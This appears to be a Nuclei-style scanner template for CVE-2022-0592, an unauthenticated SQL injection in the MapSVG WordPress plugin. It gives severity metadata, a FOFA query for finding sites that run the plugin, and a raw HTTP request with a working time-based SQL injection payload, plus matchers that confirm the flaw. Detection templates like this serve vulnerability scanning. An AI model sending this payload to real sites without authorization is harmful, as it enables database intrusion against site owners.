漏洞描述
The MapSVG WordPress plugin before 6.2.20 does not validate and escape a parameter via a REST endpoint before using it in a SQL statement, leading to a SQL Injection exploitable by unauthenticated users.
id: CVE-2022-0592
info:
name: MapSVG < 6.2.20 - Unauthenticated SQLi
author: DhiyaneshDK
severity: critical
description: |
The MapSVG WordPress plugin before 6.2.20 does not validate and escape a parameter via a REST endpoint before using it in a SQL statement, leading to a SQL Injection exploitable by unauthenticated users.
impact: |
Unauthenticated attackers can execute SQL injection via REST API endpoint to extract database contents or execute arbitrary commands, potentially compromising the entire WordPress database.
remediation: |
Upgrade to MapSVG version 6.2.20 or later.
reference:
- https://wpscan.com/vulnerability/5d8d53ad-dc88-4b50-a292-fc447484c27b/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0592
cwe-id: CWE-89
epss-score: 0.67367
epss-percentile: 0.98519
cpe: cpe:2.3:a:mapsvg:mapsvg:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: mapsvg
product: mapsvg
framework: wordpress
fofa-query: body="/wp-content/plugins/mapsvg/"
tags: wpscan,cve,cve2022,mapsvg,wordpress,wp,wp-plugin,sqli,time-based-sqli,vkev,vuln
http:
- raw:
- |
GET /wp-json/mapsvg/v1/maps/2?id=1%27%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)--+ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers:
- type: dsl
dsl:
- 'duration >= 6'
- 'contains(body, "map")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100a00798f6a152fd8dc502fca7ee0b53df68aa976bc6e2aea0b3daaf96719955af0220047d62320d0833f244950378c23bc9c3b53600d7acf5c75c4b05b7c1ac70e265:922c64590222798bb761d5b6d8e72950